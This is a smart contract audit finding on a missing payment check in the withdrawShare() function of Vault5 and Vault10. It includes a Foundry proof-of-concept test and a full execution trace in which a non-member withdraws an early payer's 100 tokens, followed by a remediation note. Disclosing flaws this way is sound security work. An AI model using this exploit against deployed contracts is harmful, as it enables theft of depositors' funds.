Any persons can withdraw from Alumni funds - High Severity!

[olahfemi]

Description
Affects both Vault5 and Vault10.

The function withdrawShare() only take into consideration if a user has not withdrawn earlier without checking if he or she has paid for the cohort, the vulnerability gives random user the opportunity to come and withdraw from the vault shares attributed to earlypayers without joining the alumni. An attacker can deploy different wallet and use it to claim all funds in the contract or use different address to claim from the funds.

Context
Vault5.sol SLOC 72

POC
logics that allows a nonpayer to withdraw from the vault.
The logics below allow a non payer to withdraw succesfully without needing to be part of the earlyplayers
The instance shows a use case where we have only one earlypayer in the vault

        address Nonearlypayer5 = mkaddr("Nonearlypayer5");
        address VAULT_MANAGER = mkaddr("VAULT_MANAGER");
        vm.prank(superUser);
        AccessControlFacet(address(diamond)).grantRole(Dto.Roles.VAULT_MANAGER, VAULT_MANAGER);
        vault5.init(address(diamond));
        vm.startPrank(depositor5);
        testToken5.mint(depositor5, 200e18);
        testToken5.approve(address(vault5), 200e18);
        vault5.depositIntoVault(100e18);
        vm.stopPrank();
        vm.prank(VAULT_MANAGER);
        vault5.openVault();
        vm.prank(earlypayer5);
        vault5.addAddressOfEarlyPayment();
        vm.prank(Nonearlypayer5);
        vault5.withdrawShare();
        console.log(testToken5.balanceOf(Nonearlypayer5));

Stack Traces of the above code is shown below

[PASS] testwithdrawShare() (gas: 268990)
Logs:
100000000000000000000

├─ [0] VM::label(earlypayer5: [0xf97b00FDA804547847117122310Dca6EDcB82911], earlypayer5)
│ └─ ← ()
├─ [0] VM::label(Nonearlypayer5: [0x1844E62344cE92080772f5727ea370102D02c5E5], Nonearlypayer5)
│ └─ ← ()
├─ [0] VM::label(VAULT_MANAGER: [0x17de9758016a0DE4AD2bD37bA4dA59DCd2a1e69A], VAULT_MANAGER)
│ └─ ← ()
├─ [0] VM::prank(superUser: [0xaA791C3d9499c86AdC19d13e2c9F1080Fc5A0985])
│ └─ ← ()
├─ [31392] Diamond::grantRole(6, VAULT_MANAGER: [0x17de9758016a0DE4AD2bD37bA4dA59DCd2a1e69A])
│ ├─ [26408] AccessControlFacet::grantRole(6, VAULT_MANAGER: [0x17de9758016a0DE4AD2bD37bA4dA59DCd2a1e69A]) [delegatecall]
│ │ ├─ emit RoleGranted(role: 6, assignee: VAULT_MANAGER: [0x17de9758016a0DE4AD2bD37bA4dA59DCd2a1e69A])
│ │ └─ ← ()
│ └─ ← ()
├─ [22589] Vault5::init(Diamond: [0x8b10C21F6dEE107A616205e39313147Ee8e0e19A])
│ └─ ← ()
├─ [0] VM::startPrank(depositor5: [0x4a8Ac497c85141A73CbA600aAaE6D7fBFDf49e72])
│ └─ ← ()
├─ [44801] VaultToken::mint(depositor5: [0x4a8Ac497c85141A73CbA600aAaE6D7fBFDf49e72], 200000000000000000000)
│ └─ ← ()
├─ [22818] VaultToken::approve(Vault5: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 200000000000000000000)
│ └─ ← true
├─ [50637] Vault5::depositIntoVault(100000000000000000000)
│ ├─ [24096] VaultToken::transferFrom(depositor5: [0x4a8Ac497c85141A73CbA600aAaE6D7fBFDf49e72], Vault5: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 100000000000000000000)
│ │ └─ ← true
│ ├─ emit NewDeposit(amount: 100000000000000000000)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::prank(VAULT_MANAGER: [0x17de9758016a0DE4AD2bD37bA4dA59DCd2a1e69A])
│ └─ ← ()
├─ [4552] Vault5::openVault()
│ ├─ [3504] Diamond::hasRole(6, VAULT_MANAGER: [0x17de9758016a0DE4AD2bD37bA4dA59DCd2a1e69A]) [staticcall]
│ │ ├─ [1017] AccessControlFacet::hasRole(6, VAULT_MANAGER: [0x17de9758016a0DE4AD2bD37bA4dA59DCd2a1e69A]) [delegatecall]
│ │ │ └─ ← true
│ │ └─ ← true
│ └─ ← ()
├─ [0] VM::prank(earlypayer5: [0xf97b00FDA804547847117122310Dca6EDcB82911])
│ └─ ← ()
├─ [24591] Vault5::addAddressOfEarlyPayment()
│ ├─ emit NewPaidUser(user: earlypayer5: [0xf97b00FDA804547847117122310Dca6EDcB82911], number: 1)
│ └─ ← ()
├─ [0] VM::prank(Nonearlypayer5: [0x1844E62344cE92080772f5727ea370102D02c5E5])
│ └─ ← ()
├─ [39573] Vault5::withdrawShare()
│ ├─ [18578] VaultToken::transfer(Nonearlypayer5: [0x1844E62344cE92080772f5727ea370102D02c5E5], 100000000000000000000)
│ │ └─ ← true
│ ├─ emit NewWithdrawal(account: Nonearlypayer5: [0x1844E62344cE92080772f5727ea370102D02c5E5], share: 100000000000000000000)
│ └─ ← ()
├─ [562] VaultToken::balanceOf(Nonearlypayer5: [0x1844E62344cE92080772f5727ea370102D02c5E5]) [staticcall]
│ └─ ← 100000000000000000000
├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000056bc75e2d63100000) [staticcall]
│ └─ ← ()
└─ ← ()

As shown above the nonearlyPayer was able to withdraw the 100 worth of token sent to the vault5 without needing to be part of the earlypayers and this fund which is mainly for the earlyPayer5 because we only have one instance of early payers.

Recommendation
seeing this as vulnerability that can cause harm to the contracts, the developers are advised to look into the code and make sure that only valid payers can withdraw thier share of the funds deposited into the contracts by making sure a registered member is the only member that can withdraw from the vault.